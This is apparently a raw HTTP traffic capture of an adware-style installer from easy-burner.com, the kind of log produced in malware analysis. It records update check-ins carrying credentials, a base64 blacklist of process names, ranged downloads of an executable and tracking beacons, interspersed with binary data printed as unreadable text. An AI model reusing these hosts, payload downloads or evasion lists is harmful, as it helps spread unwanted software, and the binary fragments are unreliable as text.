.k..p.....s..J\..J..p....!.1(...U...A=.......D.....{.H.....v..5!..w...
....&.s|......=...V...Ig..Dp..@k..*...o".......Q..r..l]u.u/...(.i.....
.(..j........1.g7..f._N..eVm..~...)%.hX0Zm............z.w...R.".^.hI.Q
..nZ@..|[email protected]..._.....(!$....gR..;O.$$#...w.{.k.hB.4.?.
....u.$...&}.......Od.. ....".......;[[email protected]$.n.[...B?n.....
.$.\%2........!S...l.(.k...:......c...h.f/...x..VZ..A..R*~....dHh.....
9...I.m [email protected]<...i.v./-.\-......d..~h..H. ..6.M
..0....Z.A.T....N..K @....j%....U:.^..z...~.I.....F"..J...`.......1F$.
..s.D......x$O6....;r.P./.es4.*......n.{g._.U..R?(......|.....B.......
m.N....p&.Z......*..ZQ..VR..[..8@".1xy.P..........z.n^.<....^...n3.
..1...'Ki../[email protected]..<.M$..2..|.v.n/6...V.
.......lE/......w8-........-R..\e...WA...756.H.]/d.....-......'.......
.. ..4J@.<.S.4....Fu6%...du.iP.....*>........%/..>#..}....._.
..c.b.f..!...D%L...../.......,...o&u...#..1...Ex.k.P.. .S.J/......<<< skipped >>>

GET /static/r07/menu174.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: s7.addthis.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: Apache

Last-Modified: Wed, 18 Feb 2015 15:34:19 GMT

Content-Encoding: gzip

Cache-Control: public, no-check, max-age=86313600

Content-Type: text/javascript

Content-Length: 20320

Accept-Ranges: bytes

Date: Tue, 24 Feb 2015 02:03:01 GMT

Via: 1.1 varnish

Age: 469583

Connection: keep-alive

X-Host: s7.addthis.com

X-Served-By: cache-fra1221-FRA

X-Cache: HIT

X-Cache-Hits: 16539885

X-Timer: S1424743381.194319,VS0,VE0

Vary: Accept-Encoding
............}..6.0......c. X..8m...&M.l.6.d..:^]..$....._b.~.;3x!@QN..
9......".F`0.......:..8K...S.-.zwyT..........M.:l..A.D.0.......".;8p..
r..`.mu{.... ..J......l...z..zXo6.xJF.....2...w.o....................6
.3u.'.......8pT7. (oWQ6kE..z2...../K.sg].|y...1w....FI|.....p..n...V.A
W. H....;.aP.:F..P..Mx.....`R....h.rVzw..,.S...:......<*...5k......
5x.U......A..Wo.../....u..3lM.%...^..$.z.".9.........\..|f. |......&.y
wE...b=.lb.c.pr.$..V.a....fs..zS^.....b..8KeO.......T....it.....e."*..
x. .G..u....=.<6...2JK.zN...)......ze...O..y..][email protected].....
V.....5K..P-...z.`.L/..0".^/.5.^....W...A\....*(..|.......c{.7.6b<p
....1{.9kXJ.8...b..G..U...&...n..^...r1.u....G.....'.B...@.........._.
p..(........$.].<.W,...ge..3....V..%.P..,/.j..k*........h}.}).p...7
<X.....J..n........<..]...k...X..T"[email protected]..:.
z.=..........:.Z....f......a.&.D-.Y...z...&SMB.!.$.l=....G.....(%...E 
......sN.Ab..6...{...s,f....s.g.;.......p.if. .)............V..L,.....
n~..`.v~>.1.....S.(.}.&...P.Y.....'1.}.[..i.:FC...M.,.....$....\.z.
..A...5.\F.W........4N[w...T.J|..Q ..n...r}..[|...B.?r..>.ATj9.....
.....q......WY<m.K...A..<.U.c6...^..k./....oD.4s.. ...]guc..S.."
......[C..G,...........~S..oz..H......$.........]....>..~...M......
W=.\.$y.o~............x.,.....<.>7...[.65fW.F.ED......J.d.....k.
f....*................*EU.K..P7a..lJ...R.Z).Z.h)v....n6.Y<.}...{v..
2?5vO/.6l.....9.N.^N..bM.....o?..G......Y...3...{............y....%.5j
FVM3.Ef..>..C..a....}.......G..&.*.]..UV.......?...4.m......RD.<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1424743356&SBPIDS=0 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=gxtoh545lq1iy0553biv0cfk


HTTP/1.1 200 OK

Connection: close

Date: Tue, 24 Feb 2015 02:02:16 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 547
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424743305&SBPIDS=0 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=gxtoh545lq1iy0553biv0cfk


HTTP/1.1 200 OK

Connection: close

Date: Tue, 24 Feb 2015 02:01:25 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 100546
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>.<YTA><
CONFIG><SITES><LEN>99864</LEN>..<ZIP>0</
ZIP>..<XMLVERSION>20131113143800</XMLVERSION><DATA&g
t;..hzmx6NSdzPupSuFmPETTOwEaP5MtN3k5B2a5khhOAdWUsYMpoVIMyJmCvgMilCqVBj
4UbQPeysvtYNiJVZNbRiQ7kiQsDUsNZ3MEYy1JfoBg o4pFsDooC00NO31pfd X8nXxC3V
p1HfKOwdgo62mJR71PwoZndR4AVDfbY4 9wFzk5tF 7727dskH5IZvVtCTpSQRswno298p
arAhgqN6qT czhzLjGJDuSJCwNSw1xwvWc8nan6y8O2JpeHgh8bMQc3Btg097LREoQ8w0F
1OQktY78pcFTqkKychePn/BkFKYzMvpZMy3oEVdiQxtA5xdCc2YpO8/CTqFCBwPADyfxYv
2FEVfbbiJm9OYFcu118IHvVTOrVQafL QEq0UE2pvXQCRnwiLKkp2rjL8gdMtEShDzDQXU
5CS1jvylwVOqQrJyF4 f8Dt4Oelu3aKGRqumrg /iFozngL0PZo7xV IapaBL0J2JDuSJC
wNSw0svxf0mAsRlmEq8DYMfNoIOuCvQUIqzx3Jp/JaHAbdZcJOoUIHA8AP5qvMAtrk934H
d6DRXxR/qRhAvBesE3Xujk7yXbEuF7GpHiEFiCgrxFB5bOBLlmCPV7tVm0pUOGtH43b05W
UQ5y/jTrneLb7G3yjsHYKOtpgOWQYwQw2yOF7cSHoRn1cSqUrhZjxE0zsejhg2EGJPm5Xv
sdYcwlgFCPIGtJXT5or44D/zrQcOo12lJj5r3ojdmAGFido 37oT3SwxUyBYApR71PwoZn
dR4AVDfbY4 9zwk5A4Jnge/RPdLDFTIFgCZLLU7dfR VD VN6OwG s/84tOgdW/RrWk0GO
NPWePfzAC91wf62CJMVfxez40MStk0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7
LRCtQYSZvjaZZMK3muQBGik0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7Ku<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=510606

Content-Type: application/ocsp-response

Date: Tue, 24 Feb 2015 02:03:00 GMT

Etag: "54eba7be-1d7"

Expires: Mon, 02 Mar 2015 14:03:00 GMT

Last-Modified: Mon, 23 Feb 2015 22:20:46 GMT

Server: ECS (frf/87E3)

X-Cache: HIT

Content-Length: 471
0..........0..... .....0......0...0........P5V.L.f........=.U..2015022
3200000Z0s0q0I0... .........Q..2...}Q......b.U.....P5V.L.f........=.U.
[email protected]...*.H........
..........2.Q ."..9V4..Q.I. ....&.:....=9..Z.|.(..'..../.03.....iWA...
...Y[.D....u.....{(g.)..,.V..s......}G...%.x..R9.n...~...t/..x.7R...'9
.%?.2......v.....8...=.O....([_I...M..y.d..1k..6.o....'....5.N.^.8. .c
...#.I.QN..#.j...F...)un...GV.W^.....Pa..LL..]4[...HTTP/1.1 200 OK..Ac
cept-Ranges: bytes..Cache-Control: max-age=510606..Content-Type: appli
cation/ocsp-response..Date: Tue, 24 Feb 2015 02:03:00 GMT..Etag: "54eb
a7be-1d7"..Expires: Mon, 02 Mar 2015 14:03:00 GMT..Last-Modified: Mon,
 23 Feb 2015 22:20:46 GMT..Server: ECS (frf/87E3)..X-Cache: HIT..Conte
nt-Length: 471..0..........0..... .....0......0...0........P5V.L.f....
....=.U..20150223200000Z0s0q0I0... .........Q..2...}Q......b.U.....P5V
.L.f........=.U...........z....@7....20150223200000Z....20150302200000
Z0...*.H..................2.Q ."..9V4..Q.I. ....&.:....=9..Z.|.(..'...
./.03.....iWA......Y[.D....u.....{(g.)..,.V..s......}G...%.x..R9.n...~
...t/..x.7R...'9.%?.2......v.....8...=.O....([_I...M..y.d..1k..6.o....
'....5.N.^.8. .c...#.I.QN..#.j...F...)un...GV.W^.....Pa..LL..]4[...ont>....<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=510941

Content-Type: application/ocsp-response

Date: Tue, 24 Feb 2015 02:03:01 GMT

Etag: "54eba986-1d7"

Expires: Mon, 02 Mar 2015 14:03:01 GMT

Last-Modified: Mon, 23 Feb 2015 22:28:22 GMT

Server: ECS (frf/87A8)

X-Cache: HIT

Content-Length: 471
0..........0..... .....0......0...0.......q.7.s.......4. Z.....2015022
3221300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.s.......4. Z....
..M.q.......d...,....20150223221300Z....20150302222800Z0...*.H........
.....v.JLc...}.g.<5....l63.m...h`..<.U}.@.....%....F..N...C..*..
....H.x...4..;.(.bK......R[r/..$.;....d{gc...-..R.'....ZH.T.z\......gF
..S..D^[email protected]..#X}yz.T.......)....b.*J.....R.)U.)5..e.
....$.B....}p..\.._c[.RE...`.1...Bo..4..7.MvH)..b...G..,.HTTP/1.1 200 
OK..Accept-Ranges: bytes..Cache-Control: max-age=510941..Content-Type:
 application/ocsp-response..Date: Tue, 24 Feb 2015 02:03:01 GMT..Etag:
 "54eba986-1d7"..Expires: Mon, 02 Mar 2015 14:03:01 GMT..Last-Modified
: Mon, 23 Feb 2015 22:28:22 GMT..Server: ECS (frf/87A8)..X-Cache: HIT.
.Content-Length: 471..0..........0..... .....0......0...0.......q.7.s.
......4. Z.....20150223221300Z0s0q0I0... ........ ......%.:EUvf.U...3.
..q.7.s.......4. Z......M.q.......d...,....20150223221300Z....20150302
222800Z0...*.H.............v.JLc...}.g.<5....l63.m...h`..<.U}.@.
....%....F..N...C..*......H.x...4..;.(.bK......R[r/..$.;....d{gc...-..
R.'....ZH.T.z\......gF..S..D^[email protected]..#X}yz.T.......)..
..b.*J.....R.)U.)5..e.....$.B....}p..\.._c[.RE...`.1...Bo..4..7.MvH)..
b...G..,.....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTtSK3dy3sA4g6EKqm0CfGsMDTPlgQUUOpzidsp+xCPnuUBINTeeZlIg/cCEAJwu3i4ZpYdN6xM1SVvBys= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=509253

Content-Type: application/ocsp-response

Date: Tue, 24 Feb 2015 02:03:02 GMT

Etag: "54eba3f7-1d7"

Expires: Mon, 02 Mar 2015 14:03:02 GMT

Last-Modified: Mon, 23 Feb 2015 22:04:39 GMT

Server: ECS (frf/87D1)

X-Cache: HIT

Content-Length: 471
0..........0..... .....0......0...0......P.s..)...... ..y.H....2015022
3215000Z0s0q0I0... .........H...{....*.....04....P.s..)...... ..y.H...
..p.x.f..7.L.%o. ....20150223215000Z....20150302220500Z0...*.H........
..........................i&........W.b.....m..s*.X..9..P. I.q...s.?r.
..g).... ...6..l.......j..w.v@.(.l.).z.8s..n.hN4!..1....F.....rM..)...
......4NFl...gc...........{..>./.....~2S..ii.....S.Y3...[..K-...FE$
=Z{p.../:.7...9..IJ...5b.Ne.Med...(i*.....'....b...V..HTTP/1.1 200 OK.
.Accept-Ranges: bytes..Cache-Control: max-age=509253..Content-Type: ap
plication/ocsp-response..Date: Tue, 24 Feb 2015 02:03:02 GMT..Etag: "5
4eba3f7-1d7"..Expires: Mon, 02 Mar 2015 14:03:02 GMT..Last-Modified: M
on, 23 Feb 2015 22:04:39 GMT..Server: ECS (frf/87D1)..X-Cache: HIT..Co
ntent-Length: 471..0..........0..... .....0......0...0......P.s..)....
.. ..y.H....20150223215000Z0s0q0I0... .........H...{....*.....04....P.
s..)...... ..y.H.....p.x.f..7.L.%o. ....20150223215000Z....20150302220
500Z0...*.H..................................i&........W.b.....m..s*.X
..9..P. I.q...s.?r...g).... ...6..l.......j..w.v@.(.l.).z.8s..n.hN4!..
1....F.....rM..).........4NFl...gc...........{..>./.....~2S..ii....
.S.Y3...[..K-...FE$=Z{p.../:.7...9..IJ...5b.Ne.Med...(i*.....'....b...
V....<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 250000-499999/7697808

Age: 43482

X-Cache: Hit from cloudfront

Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)

X-Amz-Cf-Id: dHzh6QKov3lnSSh8U7WL-MBegZDmO3duFwS4FNwf9oFH_ZJzB78eGw==
.>......A.^......i.|@....M|.4y..F.S.}..&a.D8...."R.R.C..9....S.0u.R
.&...T$9R;.%...o....vUm....NE.d. .5%.... .......T..sM..Qx ...[|Cf...ne
.$..|Zv'.k.M.\d.&....*\H..`i.{?...9u'.....q........YK.T.Csj1......2.YH
sL......l..f........f@[email protected]..\.l....sL..).^..cJ.G../. ....%O..
.-.^.S..TFM...{1.X.....X..WT./...x..$..6.%0`...U.2..w5.B...o.#...0...-
WXTl......H.dEcP4...S-qn}Z..n...>".p..@....~cE.0.b... R.5.&........
.eD.ig.PV..wo..T.~.....R9.....zR^v...W..t.H.%}.U.~...Y.|(g..&.(xj.....
<. I!........Y....u[@.`............u......C8.6...`..0.......[......
..0...^............y......j.!.H.....L.z^o.....4.;.5:RLz.l.p...s...*f.e
<.#......#...~....U).1G"`...n.........<...0;..h...#....h.....".o
.NW".(.,.N..t.......^Z..%.I.&.VW..O....<..i..C.av.\*.v..d..5...#.=0
>x..n...#pYH.)8d...B..m.R'p. .......]...3.j....c.....[.S......J...G
.!.[...hh....D..Q.....f:=C....f.R.o.....j..|..T>.5?;.1.......@H.[.h
.eS.0.... .(y.....7...h|.$..4...1.....K..;G.{.'..:..t.[ld..C.7.9J.D..X
|..6%W ...D^i..H.........];.s.2......?.5.....|>.\.F.D.....o.f.&.x.K
U0....z..../r._.....k#I|..f.I...............AR..g.X...J..7..'....do.V.
n_.....'....tZ.M.c.|.K..l.......jD...>..k$..v..E.Y.....~.>.&../.
._...q.~.BWL6@/..a/a.....tZ...D..o...x.....O....H .tY..k.E.I..Z...zd..
7J.....^.t...U@I{?.KNS..7...".B..R..O....[.M)..!_. .O2gtylg!r.........
W._}....W.YMF..!.Cc.~W?7.Z.|.6......`..... .b..t|,%[email protected]...
f..,.L..V.uSK...%/-....f..7.I\../...r.....>. ...:K6.9..uj.....k..t.
z....w.....?...uX...a^C*,.....0..7g..^..yLt...Kp..O..q.7.0.tN...|.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 750000-999999/7697808

Age: 43482

X-Cache: Hit from cloudfront

Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EfV7RcY8BBs6SpbsnPPWjyHd9z4mBM-hlBf4320_p_1Bxau4hqrSCA==
2cx.&z.y....|.v...~lRL.:....e.9{.................dW...a.[.5`.0....z.. 
n.....P..G...g7..$...'.q..%(.L...c4q..@J....`...........J.7-.in.p1.~.n
.."K.HJ......G`.\EL..(.....!..)....._x.#..0.R.<e.;.....v...|.b.hg..
.....y...8q7c\O...).........~..6..q&.q...S7[.<Dh$U=..SF8. ....I....
..u.5)[[email protected]...!Bw.q.7c..V..9..>.Q.....'.7.b...B...............m.
95J.r..!.TXC..q..D..}3.......TB.DF...Hd...>....I.2.*)dnd...M....\..
T..Q[E.......U/..R......c.Q....../..T.._u..n.....Q..m....x.gk..J.{.2..
.Y.W....t.t%....mh..=..T....d..-.w..C....-\.v...^.~....Mg.....(1...f..
.3.Q.'LVv{._P.t.......)........A.....p.B..(..5..2{....;S......:......x
G...~..b.....H....|..e.r.G.q>.....?...u..r.S..J...!....K.@Q[2.l.z..
...AA9x.....Cd.t..@.}.j.ss.Tzuz....t-...B......D.HG.X.p....:.%.o..... 
....._;,F^]$...."...@rJ. ....K...E.....Z....V...iZ._.........."..0H...
............n].o.7i>Z....<...<V.o`g..GrH.*.......@ I..".(5...
.8.^.Ly.......H?.....d....u.C....\7`..gD.d...r%...b.-.z...<......%.
.|.ZF.K..G .{i...._].n4..n.=.5m}......=.].O%.m/.."L6.aL$u.T.p....p..7D
..d.h.;.S.l..|.!......d..r..g....B......`p...E;K..R. ....?....w.H.D...
....=..n.~w.!..........t..B.l..H1...R;..9M4i......j.b^=A...A..mZ..._.5
.'........o.(..F{j68..$.O.8...Q.Y.8<X<..n....'8sA.X..6...w..sn&g
t;....D...2..aDk.....8\.d..{.f.a.27M...v..~D#K|'..u....(~...r..R.....#
.(........=AV~Tp........B..?....[C.$zC7.1gG....".TJP"C.....=kb.})S....
uB.T......4_.U...A...V....z..5...?5.-.P..w..aEm..'..M....N..e....|pH..
"$[..x.Ys...f5*...[5..b.@S..;...g4.....1*...)...ko..y.|........$.1<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Age: 43482

Content-Range: bytes 1250000-1499999/7697808

X-Cache: Hit from cloudfront

Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)

X-Amz-Cf-Id: C4PTz-cnrHInzt_hvC4NKLT1gYKpvFCokR1W0D4K-FPEYIwRLDdWGg==
...#K.M5.%X1:S.yc....;j.....;..Uo.oUOK..T9.-).Dt.3...H..5...SGS..*J.Kz
.r;.KS....\/.%B..?i....4.37N.....dYj..P.*....>.._...c.3..o.T..u..:.
...O.P$...2L....H............... .............5....a...V...>..1....
f....!....^T...l.e.m...9#.n.SO.............R;.j. ..s.._.=Ym T...3...t`
C.$.|.LzEY*...l..[I.D.|5.d..c..o.....c.W.&..k:.....u............g..O..
/..{H..jL$S.T.z....R.....`Oo...{~...n..:........X.ehQz..h..C4YF,y'.RY.
Sbh6....N.........d".F......./j.d..r..\.]!....7...R.G(..1..!Y.....m[.B
.. .. #k.nWe..T...{2e9|;<....~=.RN.H.._.6..\@..~7p.s..4J......4.GU1
LT.hN ./'.....`..h.........=...BI.3.I......$..?...(}/.....GZq.;.......
...8.0.n-..C.....6............M... p..Abp.. .=}....J..w..Y..b...P..K..
.;.l...k...-.-N....U..md..s...g..>N?.1 0...2r..N9&..z.Q....o.n;.Uh.
@&B....a..........}..... ....,......3..8.DX.. eh#....#.r......../J.q.a
....As/.....-*n./......^...a.../...]..u.=2?y_>.D..<[email protected]
.& ..-.6..2.b.R.."....<f..i...X.n"..,...#..S.3a/.V.x...~..^....,...
D\..&3<..g..m..~.cD.....<.9$.xQ.D..r....KB..#.eZ`..:.."L`...ts..
c.PhO.....t.o.q,i.Q.......'..T$........,.x....R.a_..J.....o.....4y....
....u)o.Z....#.nzQze.......kPr.J.<n..7JfpI...._...]....&.....)....3
ax....NA...\ .-.D.A.n...O...4h..r.o...t.........;.e...D.]......P..H.[.
wf.E.)...S.h....|.3.r.]\.8......$M...... lV..37....z.....N......ZO.BF.
;.~.|..!...L..3..`....(.W6....{0....,.of.[x.(`zf.;.VCQP.m....Y*......7
....t4.....u..Zy........H......6..9......8w....;.m... ...[...y...j.|..
Z..!..... ...2:..ZHE.P.7,7[.xk...zr.. ..\....#.l.(.L.5..d(......u.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Sun, 22 Feb 2015 13:55:25 GMT

Last-Modified: Sun, 22 Feb 2015 13:42:13 GMT

ETag: "142ae006ffa3a2ae4b952df36af65c8c"

Accept-Ranges: bytes

Server: AmazonS3

Age: 43483

Content-Range: bytes 3750000-3999999/7697808

X-Cache: Hit from cloudfront

Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OOxEH5DoeOi_GU28c2mt8-5un2DV9R4CJg3t-1578xKOaPkRA05RNA==
..rx.....P....>j...Md5.s>..!....y.........<$=.)....%.u.......
..y..JI..$(U..$....r)...N.>5<.~.z...........=..J5.U<$=.(U. .]
.^.....9o.m......hzr'UG.N.;Uv].,..^j,9.R ..i......PX.j.D...&.c..A&N...
wy...X....z...t..>........ 9..........>.^.R....aVG..k8P...Gx..&l
t;9,y.D(q.........[.|......W7c.BJ..nS..g......,.t.`l..C..^..u...p..K^K
..I.J:.|Iu:..T........S..Q*(2....P.j.u.....h. d..U.X..Tw.. v.X.oy1."..
,..uo.A.c.....&.0O.....9....)].u...y.&b..g...e..h!.B..s.yhnH..C#.F-.u.
T.4{.{.d.n.%.%..Z,.].]|.....o){......S.N.>.;z}.q..'.N..|C.Z).R..uHJ
..u....}.......tP.`s..l....)[email protected]..:....:=|Bw.;.55nJ... Y .ZF......[.
C.......a... '.K.nv.<H....b..8.....}.. ....4.s~6.....1K."..M.(q....
........,iqit...r.f^.....F. .-.\!...V7e." .].R.X......S..j|{....U. .W.
..aY.....k5....lY..-H.. ..p.W.. ......6.;..f`j...s.h........t...Jt....
.g..vOU.^......../.Zz.yc....,$Z..\..^..7m.*=*p.x.P .UJk%.J....C[U...M.
......>.....a..&..A(...{...*N..|...C.s!>...'...$F.d....rw.Lw..F.
.....W.g]b0.....#.."'....i.3&...N.K.... . U..\..J.%.....-......)[email protected].
~......u.......nwu.....b&.....g..?^?.~..N..&w.P6&.[..jSH=...T;Tz...f@.
.]<...e.:W".....\...w......Z..[..,m....[.c*...v..;1v....2h.`.frJ.I.
.x.@}^..@.......$&N?.-..a......6...0.RH.Q.Q...G,K}.Z-4VN.$x..W'.S.jS.P
..N...6.V...[*........:,[email protected].
..[6.cD..[..J4)..g.....N9....}/....m.....4.A8.F..|.,y.....O........}..
N..PQP...f.m..FV..-........i...{ .Vc....-...n.Zk..S...UYKAXZon-z...L.{
..........s.A.Z#...5.6.p...m....ifE.rC .....i..E..9...BY.!.....Ob.<<< skipped >>>

GET /app/ping.ashx?e=PcwT4QFtuPClUB4b/muCJacisV0Kqo5teq10/GADmDBu89fJv3K/CWQ14on7GBy1f82ojUnVmk1jg4jhBREgIvCV4d3G7GmUPoZDv5/7A 4Cbsn9VEgrCDmXqQawsZSOUA7dl9owwhJgHZlUocjPQWEwYhyDtit2GlhuaK6dqaa93LcpG8kTb 8hcchDZmzqx13 Ii9805eFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aBdviNsPXm6GNAxCMMVg3AzYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2cp9ILLnJI8o5l6kGsLGUjlAO3ZfaMMISYB2ZVKHIz0FhMGIcg7YrdhpYbmiunammvdy3KRvJE29Sngt7Zf/x9xXrK9YmsnJZ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:20 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 24 Feb 2015 02:01:20 GMT..Content-Length: 0..

GET /b?c1=7&c2=2000001&c3=1&rn=1128bog&c7=http://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&c8=Easy-Burner&cv=1.7 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://s7.addthis.com/static/r07/sh200.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: b.scorecardresearch.com

DNT: 1

Connection: Keep-Alive

Cookie: UID=120c9bfd-194.221.64.106-1384780341; UIDR=1384780341


HTTP/1.1 204 No Content

